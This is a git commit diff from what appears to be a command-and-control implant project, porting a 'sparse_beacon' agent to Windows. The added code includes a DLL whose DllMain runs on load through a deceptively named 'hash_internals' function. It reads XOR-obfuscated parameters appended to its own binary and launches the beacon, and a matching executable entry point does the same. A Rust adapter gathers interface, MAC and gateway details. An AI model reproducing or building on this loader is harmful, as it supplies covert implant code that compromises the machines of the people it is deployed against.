feat: made sure everything worked on Windows

This commit is contained in:
Andrew Rioux
2025-02-14 13:43:38 -05:00
parent c0fe4f2bdb
commit 4e0944e4c1
16 changed files with 387 additions and 227 deletions

View File

@@ -0,0 +1,169 @@
use std::net::Ipv4Addr;
use sparse_beacon::{
adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
error,
};
#[derive(thiserror::Error, Debug)]
pub enum WindowsAdapterError {
#[error("windows error")]
Win32(#[from] windows_result::Error),
}
impl sparse_beacon::error::AdapterError for WindowsAdapterError {}
#[derive(Clone)]
pub struct WindowsAdapter;
#[async_trait::async_trait]
impl BeaconAdapter for WindowsAdapter {
type Error = WindowsAdapterError;
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> {
[&br"\Device\NPF_"[..], &interface.name].concat()
}
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>> {
use std::slice;
unsafe {
fn nul_ptr_to_slice<'a, T>(ptr: *const T) -> &'a [T]
where
T: PartialEq + From<u8>,
{
let mut len = 0;
unsafe {
while *ptr.add(len) != T::from(0) {
len += 1;
}
slice::from_raw_parts(ptr, len)
}
}
use windows::Win32::NetworkManagement::IpHelper::{
GetAdaptersAddresses, GAA_FLAG_INCLUDE_GATEWAYS, GET_ADAPTERS_ADDRESSES_FLAGS,
IP_ADAPTER_ADDRESSES_LH,
};
let mut size_pointer: u32 = 0;
_ = GetAdaptersAddresses(
2,
GET_ADAPTERS_ADDRESSES_FLAGS(0),
None,
None,
&mut size_pointer as *mut _,
);
let mut address_buffer = vec![0; size_pointer as usize];
let err = GetAdaptersAddresses(
2,
GAA_FLAG_INCLUDE_GATEWAYS,
None,
Some(address_buffer.as_mut_ptr() as *mut _),
&mut size_pointer as *mut _,
);
if err != 0 {
Err(std::io::Error::last_os_error())?;
}
let mut current_address = address_buffer.as_mut_ptr() as *mut IP_ADAPTER_ADDRESSES_LH;
let mut routes = vec![];
let mut interfaces = vec![];
while !current_address.is_null() {
let name = nul_ptr_to_slice((*current_address).AdapterName.0 as *const _).to_vec();
let mtu = (*current_address).Mtu;
let Ok(mac_addr) = &(*current_address).PhysicalAddress
[..(*current_address).PhysicalAddressLength as usize]
.try_into()
else {
current_address = (*current_address).Next;
continue;
};
let interface_index = interfaces.len();
interfaces.push(BeaconInterface {
name,
mtu: mtu as u16,
mac_addr: *mac_addr,
});
let mut gateway = (*current_address).FirstGatewayAddress;
while !gateway.is_null() {
let ipaddr = (*(*gateway).Address.lpSockaddr).sa_data;
let family = (*(*gateway).Address.lpSockaddr).sa_family.0;
if family != 2 {
// AF_INET
gateway = (*gateway).Next;
continue;
}
let gateway_addr = Ipv4Addr::new(
ipaddr[2] as u8,
ipaddr[3] as u8,
ipaddr[4] as u8,
ipaddr[5] as u8,
);
let network = (Ipv4Addr::new(0, 0, 0, 0), 0);
let mut uni_address = (*current_address).FirstUnicastAddress;
while !uni_address.is_null() {
let ipaddr = (*(*uni_address).Address.lpSockaddr).sa_data;
let family = (*(*uni_address).Address.lpSockaddr).sa_family.0;
if family != 2 {
uni_address = (*uni_address).Next;
continue;
}
// indices 0 and 1 are used to store the port
// ...it's an interface... why does it have a port...
let ipaddr = Ipv4Addr::new(
ipaddr[2] as u8,
ipaddr[3] as u8,
ipaddr[4] as u8,
ipaddr[5] as u8,
);
let cidr = (*uni_address).OnLinkPrefixLength as u32;
let mask = (0xFFFFFFFFu32.overflowing_shr(32 - cidr))
.0
.overflowing_shl(32 - cidr)
.0;
if (mask & u32::from(gateway_addr)) != (mask & u32::from(ipaddr)) {
uni_address = (*uni_address).Next;
continue;
}
routes.push(BeaconRoute {
network,
gateway: (gateway_addr, (*uni_address).OnLinkPrefixLength),
interface_index,
});
break;
}
gateway = (*gateway).Next;
}
current_address = (*current_address).Next;
}
Ok(BeaconNetworkingInfo { routes, interfaces })
}
}
}

View File

@@ -1,8 +1,20 @@
use windows::{
Win32::{System::SystemServices::DLL_PROCESS_ATTACH, UI::WindowsAndMessaging::*},
core::*,
use std::io::SeekFrom;
use tokio::io::{AsyncReadExt, AsyncSeekExt};
use windows::Win32::{
Foundation::{FreeLibrary, HMODULE, MAX_PATH},
System::{
LibraryLoader::{
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, GetModuleFileNameA, GetModuleHandleExW,
},
SystemServices::DLL_PROCESS_ATTACH,
},
};
use sparse_actions::payload_types::{Parameters, XOR_KEY};
mod adapter;
#[unsafe(no_mangle)]
pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 {
if dw_reason == DLL_PROCESS_ATTACH {
@@ -19,10 +31,62 @@ pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 {
}
fn hash_internals() -> std::result::Result<(), std::io::Error> {
unsafe {
MessageBoxW(None, w!("Hi!"), w!("There!"), MB_OK);
let curr_module = HMODULE(std::ptr::null_mut());
let comp_hash = compute_hash as extern "C" fn() -> ();
if let Err(_) = unsafe {
GetModuleHandleExW(
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,
windows_strings::PCWSTR::from_raw(comp_hash as *const () as *const _),
curr_module.0 as *mut _,
)
} {
return Err(std::io::Error::last_os_error());
}
let mut name = vec![0u8; MAX_PATH as usize];
let name_len = unsafe { GetModuleFileNameA(Some(curr_module), &mut name) as usize };
unsafe {
let _ = FreeLibrary(curr_module);
}
if name_len == 0 {
return Err(std::io::Error::last_os_error());
}
let rt = tokio::runtime::Builder::new_multi_thread()
.enable_all()
.build()?;
rt.block_on(async move { unsafe { hash_stage_2(name[..name_len].to_vec()) }.await })?;
// MessageBoxW(None, w!("Hi!"), w!("There!"), MB_OK);
Ok(())
}
async unsafe fn hash_stage_2(name: Vec<u8>) -> std::result::Result<(), std::io::Error> {
let mut binary_file = tokio::fs::OpenOptions::new()
.read(true)
.open(unsafe { std::str::from_utf8_unchecked(&name) })
.await?;
let parameters_size = std::mem::size_of::<Parameters>() as i64;
binary_file.seek(SeekFrom::End(-parameters_size)).await?;
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
binary_file.read_to_end(&mut parameters_buffer).await?;
for b in parameters_buffer.iter_mut() {
*b = *b ^ (XOR_KEY as u8);
}
let parameters: Parameters =
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
let _ = sparse_beacon::run_beacon_step(adapter::WindowsAdapter, parameters).await;
Ok(())
}

View File

@@ -1,144 +1,32 @@
fn main() -> anyhow::Result<()> {
let devs = pcap_sys::PcapDevIterator::new()?;
use std::io::SeekFrom;
for dev in devs {
println!("{dev}");
use tokio::io::{AsyncReadExt, AsyncSeekExt};
use sparse_actions::payload_types::{Parameters, XOR_KEY};
mod adapter;
#[tokio::main]
async fn main() -> anyhow::Result<()> {
let mut binary_file = tokio::fs::OpenOptions::new()
.read(true)
.open(std::env::current_exe()?)
.await?;
let parameters_size = std::mem::size_of::<Parameters>() as i64;
binary_file.seek(SeekFrom::End(-parameters_size)).await?;
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
binary_file.read_to_end(&mut parameters_buffer).await?;
for b in parameters_buffer.iter_mut() {
*b = *b ^ (XOR_KEY as u8);
}
unsafe {
use std::ffi::CStr;
let parameters: Parameters =
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
use windows::Win32::{
NetworkManagement::IpHelper::{
GAA_FLAG_INCLUDE_GATEWAYS, GET_ADAPTERS_ADDRESSES_FLAGS, GetAdaptersAddresses,
IP_ADAPTER_ADDRESSES_LH,
},
Networking::WinSock::AF_INET,
};
let mut size_pointer: u32 = 0;
let err = GetAdaptersAddresses(
2,
GET_ADAPTERS_ADDRESSES_FLAGS(0),
None,
None,
&mut size_pointer as *mut _,
);
let mut address_buffer = vec![0; size_pointer as usize];
let err2 = GetAdaptersAddresses(
2,
GAA_FLAG_INCLUDE_GATEWAYS,
None,
Some(address_buffer.as_mut_ptr() as *mut _),
&mut size_pointer as *mut _,
);
if err2 != 0 {
eprintln!("Error code received for second one: {err2}");
Err(std::io::Error::last_os_error())?;
}
let mut current_address = address_buffer.as_mut_ptr() as *mut IP_ADAPTER_ADDRESSES_LH;
fn pwstr_to_string(pwstr: *mut u16) -> String {
use std::ffi::OsString;
use std::os::windows::ffi::OsStringExt;
use std::slice;
if pwstr.is_null() {
return String::new();
}
// Find the length of the null-terminated UTF-16 string
let mut len = 0;
unsafe {
while *pwstr.add(len) != 0 {
len += 1;
}
// Convert UTF-16 slice to Rust String
let wide_slice = slice::from_raw_parts(pwstr, len);
OsString::from_wide(wide_slice)
.to_string_lossy()
.into_owned()
}
}
while !current_address.is_null() {
println!("-----");
println!(
"Name: {:?} ({:?})",
CStr::from_ptr((*current_address).AdapterName.0 as *const _),
pwstr_to_string((*current_address).FriendlyName.0)
);
println!("Mtu: {:?}", (*current_address).Mtu);
println!(
"Physical address: {:X?}",
&(*current_address).PhysicalAddress
[..(*current_address).PhysicalAddressLength as usize]
);
println!("IP addresses:");
let mut unicast_address = (*current_address).FirstUnicastAddress;
while !unicast_address.is_null() {
let address = (*(*unicast_address).Address.lpSockaddr).sa_data;
println!(
"\tIP address: {}.{}.{}.{}/{}",
address[2] as u8,
address[3] as u8,
address[4] as u8,
address[5] as u8,
(*unicast_address).OnLinkPrefixLength
);
unicast_address = (*unicast_address).Next;
}
println!("Gateways:");
let mut gateway = (*current_address).FirstGatewayAddress;
while !gateway.is_null() {
let address = (*(*gateway).Address.lpSockaddr).sa_data;
println!(
"\tIP address: {}.{}.{}.{}",
address[2] as u8, address[3] as u8, address[4] as u8, address[5] as u8
);
gateway = (*gateway).Next;
}
println!("Routes:");
let mut route = (*current_address).FirstPrefix;
while !route.is_null() {
let address = (*(*route).Address.lpSockaddr).sa_data;
println!(
"\tRoute: {}.{}.{}.{}/{}",
address[2] as u8,
address[3] as u8,
address[4] as u8,
address[5] as u8,
(*route).PrefixLength
);
route = (*route).Next;
}
println!("\n");
current_address = (*current_address).Next;
}
drop(address_buffer);
}
_ = sparse_beacon::run_beacon_step(adapter::WindowsAdapter, parameters).await?;
Ok(())
}